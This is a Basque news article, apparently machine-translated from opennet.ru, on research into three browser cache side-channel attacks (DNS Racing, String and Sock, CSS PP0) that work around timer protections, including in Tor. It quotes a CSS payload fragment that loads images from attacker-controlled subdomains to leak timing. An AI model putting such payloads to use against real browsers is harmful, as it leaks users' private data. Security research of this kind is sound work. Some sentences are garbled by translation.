PUZaren cachea erauzteko erasoa web arakatzaile batean inplementatu da JavaScript gabe

Amerikako, Israelgo eta Australiako hainbat unibertsitatetako ikertzaile talde batek web arakatzaileetan exekutatzen diren hiru eraso garatu ditu prozesadorearen cachearen edukiari buruzko informazioa ateratzeko. Metodo batek JavaScript gabeko arakatzaileetan funtzionatzen du, eta beste bik alboko kanaleko erasoen aurkako babes metodoak saihesten ditu, Tor arakatzailean eta DeterFox-en erabiltzen direnak barne. Erasoak erakusteko kodea, baita erasoetarako beharrezkoak diren zerbitzariaren osagaiak ere, GitHub-en argitaratzen dira.

Cachearen edukia aztertzeko, eraso guztiek Prime+Probe metodoa erabiltzen dute, hau da, cachea balio-multzo estandar batekin betetzea eta aldaketak detektatzea, haietara sartzeko denbora neurtuz, berriz betetzerakoan. Denbora neurketa zehatza oztopatzen duten nabigatzaileetan dauden segurtasun-mekanismoak saihesteko, bi aukeretan, erasotzaileak kontrolatutako DNS edo WebSocket zerbitzari bati errekurtsoa egiten zaio, jasotako eskaeren denboraren erregistroa gordetzen duena. Gorabide batean, DNS erantzun-denbora finko bat erabiltzen da denbora-erreferentzia gisa.

Kanpoko DNS edo WebSocket zerbitzarien bidez egindako neurketak, ikasketa automatikoan oinarritutako sailkapen sistema erabiliz, nahikoak izan ziren balioak aurreikusteko %98rainoko zehaztasunarekin eszenatokirik egokienan (batez beste %80-90). Eraso metodoak hainbat hardware plataformatan probatu dira (Intel, AMD Ryzen, Apple M1, Samsung Exynos) eta unibertsalak direla frogatu dute.

PUZaren cachea erauzteko erasoa web arakatzaile batean inplementatu da JavaScript gabe

DNS Racing erasoaren lehen aldaerak Prime+Probe metodoaren inplementazio klasiko bat erabiltzen du JavaScript array erabiliz. Desberdintasunak DNSn oinarritutako kanpoko tenporizadore bat eta akatsen kudeatzaile bat erabiltzean datza, existitzen ez den domeinu batetik irudi bat kargatzen saiatzean abiarazten dena. Kanpoko tenporizadore batek JavaScript tenporizadoreetarako sarbidea mugatzen edo erabat desgaitzen duten arakatzaileen aurkako Prime+Probe erasoa egiteko aukera ematen du.

Ethernet sare berean kokatutako DNS zerbitzari baterako, tenporizadorearen zehaztasuna gutxi gorabehera 2 ms-koa dela kalkulatzen da, eta hori nahikoa da alboko kanaleko eraso bat egiteko (konparazio baterako, Tor arakatzailean JavaScript tenporizadore estandarraren zehaztasuna da. 100 ms-ra murriztu). Erasorako, ez da beharrezkoa DNS zerbitzariaren kontrola, eragiketaren exekuzio-denbora hautatzen baita, DNS-ren erantzun-denbora egiaztapena lehenago amaitu izanaren seinale izan dadin (erroreen kudeatzailea abiarazi denaren arabera). lehenago edo beranduago, katxearekin egiaztapen-eragiketaren abiadurari buruzko ondorio bat ateratzen da) .

Bigarren eraso metodoak, "String and Sock", JavaScript-en array-maila baxuko erabilera mugatzen duten segurtasun-teknikak saihestu nahi ditu. Array-en ordez, String eta Sock-ek kate oso handietako eragiketak erabiltzen ditu, eta horien tamaina aukeratzen da, aldagaiak LLCren cache osoa (Last level cache) estal dezan. Ondoren, indexOf() funtzioa erabiliz, azpikate txiki bat bilatzen da katean, hasiera batean iturburu-katean falta dena, hau da. bilaketa-eragiketak kate osoan zehar errepikatzen du. Lerroaren tamaina LLCren cachearen tamainari dagokionez, eskaneatzeak aukera ematen du cachearen egiaztapen-eragiketa bat egiteko matrizeak manipulatu gabe. Atzerapenak neurtzeko, DNSren ordez, erasotzaileak kontrolatzen duen WebSocket zerbitzari bati dei bat egiten zaio - bilaketa-eragiketa amaitu aurretik eta ondoren, linean kontsultak bidaltzen dira, eta horren arabera zerbitzariak kalkulatzen du cachea aztertzeko erabilitako atzerapena. edukiak.

"CSS PP0" erasoaren hirugarren aldaera HTML eta CSS bidez ezartzen da, eta JavaScript desgaituta duten arakatzaileetan funtziona dezake. Metodoa "String and Sock"-ren antzekoa da, baina ez dago JavaScript-ekin lotuta. Erasoan zehar, CSS hautatzaile multzo bat sortzen da maskara bidez bilaketa hori. Cachea betetzen duen hasierako kate handia klase-izen oso handia duen div etiketa bat sortuz ezartzen da. Barruan beste div multzo bat dago bere identifikatzaileekin. Div habiaratu horietako bakoitzak bere estiloa du azpikate bat bilatzen duen hautatzaile batekin. Orrialde bat errendatzean, arakatzailea lehenik barruko div-ak prozesatzen saiatzen da, eta horrek bilaketa-eragiketa bat eragiten du errenkada handi batean. Bilaketa nahita falta den maskara bat erabiliz egiten da eta lerro osoan zehar errepikatzera eramaten du, ondoren "ez" baldintza abiarazten da eta ausazko domeinuak aipatzen dituen atzeko planoko irudia kargatzen saiatzen da: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(Β«https://qdlvibmr.helldomain.oy.ne.roΒ»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(Β«https://licfsdju.helldomain.oy.ne.roΒ»);} … X X ...

Azpidomeinuak erasotzailearen DNS zerbitzariak zerbitzatzen ditu, eta eskaerak jasotzeko atzerapenak neur ditzake. DNS zerbitzariak NXDOMAIN igortzen du eskaera guztietarako eta eskaeren ordu zehatzaren erregistroa gordetzen du. Div multzo bat prozesatzearen ondorioz, erasotzailearen DNS zerbitzariak eskaera batzuk jasotzen ditu, eta horien arteko atzerapenak cachearen edukia egiaztatzearen emaitzarekin erlazionatzen dira.

PUZaren cachea erauzteko erasoa web arakatzaile batean inplementatu da JavaScript gabe


Iturria: opennet.ru

Gehitu iruzkin berria